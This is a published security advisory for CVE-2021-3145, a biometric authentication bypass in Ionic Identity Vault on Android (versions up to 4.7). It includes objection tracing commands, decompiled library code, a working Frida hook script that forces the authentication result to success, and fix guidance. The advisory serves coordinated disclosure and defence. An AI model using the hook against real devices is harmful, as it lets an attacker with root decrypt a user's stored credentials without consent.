############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Identity Vault # Vendor: Ionic # CSNC ID: CSNC-2021-001 # CVE ID: CVE-2021-3145 # Subject: Biometric Authentication Bypass on Android # Severity: Medium # Effect: Authentication Bypass # Author: Emanuel Duss # Date: 2021-09-06 # ############################################################# Introduction ------------ Ionic Identity Vault is a secure storage solution for Android and iOS mobile apps which can e.g. be used to store authentication information like access tokens [1]. This information can be protected, so that the user has to authenticate first, before the information is unlocked. Identity Vault provides different authentication methods: - Memory only storage (not persisted at all) - Secure storage (without user authentication) - Passcode (PIN) authentication - Biometric authentication (optionally with device PIN fallback) During a customer project, we could bypass the biometric authentication mechanism of Ionic Identity Vault on Android, because the Android KeyStore entry does not require any authentication. Affected -------- - Vulnerable: Ionic Identity Vault <= 4.7 - Not vulnerable: Ionic Identity Vault >= 5 Description ----------- An attacker who can execute code as root on the phone is able to bypass the biometric authentication without any user interaction. Since the authentication verification is handled by the Identity Vault library and not the hardware-backed Android KeyStore itself, it is possible to hook this verification method and always return a valid authentication attempt. It has to be noted that if an attacker can execute code as root on the phone and the user actively authenticates on the app, it is always possible to access the decrypted information, e.g. by reading the memory or by hooking the decryption method. However, this authentication bypass allows an attacker to decrypt the data without any user interaction. Technical Description --------------------- # Key Unlock Method When the user enables biometric authentication, the `automaticallyCreateKey` method is called: # objection --gadget org.example.app explore \ --startup-command 'android hooking watch class "com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \ --dump-args --dump-backtrace --dump-return' [CUT BY COMPASS] (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.saveKey(android.content.Context, javax.crypto.SecretKey) (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.automaticallyCreateKey() (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) This method creates a new KeyStore entry using the `KeyGenParameterSpec.Builder` method: @TargetApi(23) private boolean automaticallyCreateKey() { synchronized ("keyLock") { boolean z = false; try { KeyStore.getInstance(EncryptionConstants.ANDROID_KEY_STORE).load(null); KeyGenerator keyGenerator = KeyGenerator.getInstance(this.mAlgorithm, EncryptionConstants.ANDROID_KEY_STORE); keyGenerator.init(new KeyGenParameterSpec.Builder(this.mKeyAlias, 3).setBlockModes(this.mBlockMode).setUserAuthenticationValidityDurationSeconds(this.mAuthDurationSeconds).setEncryptionPaddings(this.mPadding).build()); this.mSecretKey = keyGenerator.generateKey(); if (this.mSecretKey != null) { z = true; } return z; } catch (KeyStoreException e) { [CUT BY COMPASS] // more catches } } The `setUserAuthenticationRequired` method [2] is not used. This means that the user does not have to authenticate either via biometric authentication (fingerprint) or device PIN. The KeyStore entry can therefore be used without user authentication and does not prompt the user for the fingerprint. Instead, another functionality is used to show the biometric authentication prompt to authenticate the user. # Biometric Authentication Prompt When the user has to provide the fingerprint, the `loadKey` method is called: # objection –gadget org.example.app explore \ --startup-command 'android hooking watch class "com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \ --dump-args --dump-backtrace --dump-return' [CUT BY COMPASS] (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.lock() (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) Before the `loadKey` method is used to load the key, the method `onBiometricActivityResult` is called: # objection --gadget org.example.app explore \ --startup-command 'android hooking watch class_method "com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey" \ --dump-args --dump-backtrace --dump-return' [CUT BY COMPASS] (agent) [5363570796531] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context) (agent) [5363570796531] Backtrace: com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(Native Method) com.bottlerocketstudios.vault.StandardSharedPreferenceVault.getString(StandardSharedPreferenceVault.java:212) com.ionicframework.auth.IonicCombinedVault.unlock(IonicCombinedVault.java:322) com.ionicframework.auth.IdentityVault.forceUnlock(IdentityVault.java:265) com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(IonicNativeAuth.java:482) com.ionicframework.auth.IonicNativeAuth.onActivityResult(IonicNativeAuth.java:472) [CUT BY COMPASS] This method `onBiometricActivityResult` takes the authentication result as an argument. When the `resultCode` is `-1`, authentication is successful and the `forceUnlock` method is called. Otherwise, the authentication fails: private void onBiometricActivityResult(int resultCode, Intent intent) { IdentityVault identityVault = this.mCurrentVault; identityVault.doTheLifecycles = true; this.mLockedOutOfBiometrics = false; if (resultCode == -1) { try { identityVault.forceUnlock(); success(this.mLastCallbackContext); } catch (VaultError e) { error(this.mLastCallbackContext, e); } } else if (intent != null) { [CUT BY COMPASS] // Authentication Failed This can be seen in the backtrace when the authentication is successful: # objection --gadget org.example.app explore \ --startup-command 'android hooking watch class_method "com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult" \ --dump-args --dump-backtrace --dump-return' (agent) [6161244117830] Called com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(int, android.content.Intent) (agent) [6161244117830] Backtrace: com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(Native Method) [CUT BY COMPASS] (agent) [6161244117830] Arguments com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(-1, "(none)") (agent) [6161244117830] Return Value: "(none)" Because the KeyStore entry does not require user authentication, this method can be hooked in order to bypass biometric authentication. # Biometric Authentication Bypass Hook The following Frida hook (`frida_hook_fingerprint_bypass.js`) can be used to bypass biometric authentication: Java.perform(function x() { var myclass = Java.use("com.ionicframework.auth.IonicNativeAuth"); myclass.onBiometricActivityResult.implementation = function (a, b) { console.log("[*] Biometric Authentication Bypass Hook"); console.log("Class: com.ionicframework.auth.IonicNativeAuth"); console.log(" Method: onBiometricActivityResult"); console.log(" Parameter: " + a); console.log("Change result from 0 to -1 in order to bypass authentication."); this.onBiometricActivityResult(-1, b); // This calls the method always with -1 } }); Executing the Frida hook: # frida -U -f org.example.app -l frida_hook_fingerprint_bypass.js --no-pause When the biometric authentication (fingerprit) dialogue appears, the dialogue can be cancelled by clicking somewhere besides the prompt. The hook is then executed: [Pixel 3::org.example.app]-> [*] Biometric Authentication Bypass Hook Class: com.ionicframework.auth.IonicNativeAuth Method: onBiometricActivityResult Parameter: 0 Change result from 0 to -1 in order to bypass authentication. The user is logged in without user interaction of the victim and without providing a valid fingerprint. This also works if the Ionic Identity Vault configuration `allowSystemPinFallback` is set to `false`. Vulnerability Classification ---------------------------- CVSS v3.1 Metrics [3]: - CVSS Base Score: 4.1 (Medium) - CVSS Vector: AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N Workaround / Fix ---------------- # Ionic Identity Vault Library Vendor Ionic as the vendor of the Identity Vault library has to fix this issue as follows. For the biometric authentication mechanism with device PIN fallback: - The KeyStore setting `setUserAuthenticationRequired` should be set to `true` in order to enforce authentication (either with biometrics or the device PIN). For the biometric authentication mechanism without device PIN fallback: - The KeyStore setting `setUserAuthenticationRequired` should be set to `true` in order to enforce authentication. - The KeyStore setting `setUserAuthenticationValidityDurationSeconds ` should be set to `-1` in order to enforce biometric authentication. On Android >=11, the setting `setUserAuthenticationValidityDurationSeconds` is deprecated and `setUserAuthenticationParameters` should be set to `0,1` instead to enforce biometric authentication. See the Android Developer Reference on `KeyGenParameterSpec.Builder` for more information [2]. # Ionic Identity Vault Library Users Customers of the Ionic Identity Vault should use the updated version Identity Vault 5. Acknowledgement --------------- A very big thank you to my colleague Alex Joss for the support in analyzing this vulnerability. This was very interesting and I learned a lot! Timeline -------- 2020-12-11: Vulnerability discovered 2021-01-13: Requested CVE ID @ MITRE 2021-01-14: Opened ticket at Ionic Asked for security contact via Twitter DM (@Ionicframework) Assigned CVE-2021-3145 2021-01-15: Asked for security contact via Twitter & IRC (#ionic on freenode) 2021-01-18: Got contact details via Twitter DM. Asked how to send details 2021-01-20: Asked again how to send details 2021-01-21: Sent details via email. Ionic will discuss the issue internally 2021-02-03: Asked for a status update 2021-02-09: Vendor confirmed vulnerability & will fix it in 90 days 2021-08-17: Asked for status since vendor did inform us 2021-08-19: Vendor told it should be fixed in version 5 2021-09-06: Coordinated public disclosure References ---------- [1] https://ionic.io/docs/identity-vault [2] https://developer.android.com/reference/android/security/keystore/KeyGenParameterSpec.Builder [3] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N&version=3.1